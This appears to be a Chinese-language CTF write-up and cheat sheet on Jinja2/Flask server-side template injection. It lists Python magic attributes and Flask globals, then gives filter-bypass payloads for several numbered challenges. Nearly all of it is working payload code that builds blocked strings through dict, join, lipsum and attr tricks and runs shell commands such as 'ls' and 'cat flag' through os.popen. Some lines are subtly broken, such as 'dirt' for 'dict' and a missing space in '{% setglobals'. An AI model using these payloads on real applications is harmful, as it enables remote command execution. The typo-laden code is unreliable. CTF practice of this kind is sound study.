__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类(除object),以元组形式,类型的实例通常没有属性。 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的所有子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以调用当前脚本中的函数,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。
{% set 变量=dirt(实际值=a)|join%} {% set 变量=(已有变量,dirt(实际值=a)|join,已有变量)} {% lipsum|string|list %} 查看部分可利用字符,结合pop可以取出字符,attr可以返回其属性 {% set num=dirt(aaaa(个数=num)=a)|join|count%} count可以换成length
其中pop()为删除函数
1 2 3 4 5 6 7 8 9 10 11
{% set pop=dict(pop=a)|join%} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%} {% setglobals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} {% set space=(lipsum|string|list)|attr(pop)(9)%} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%} {% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%} {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
第十二题
1 2 3 4 5 6 7 8 9 10 11 12 13 14
{% set nine=dict(aaaaaaaaa=a)|join|count%} {% set eighteen=nine+nine%}
{% set pop=dict(pop=a)|join%} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% setglobals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} {% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%} {% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%} {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
第十三题
1 2 3 4 5 6 7 8 9 10 11 12 13 14
{% set nine=dict(aaaaaaaaa=a)|join|count%} {% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set pop=dict(pop=a)|join%} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% setglobals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} {% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%} {% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%} {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}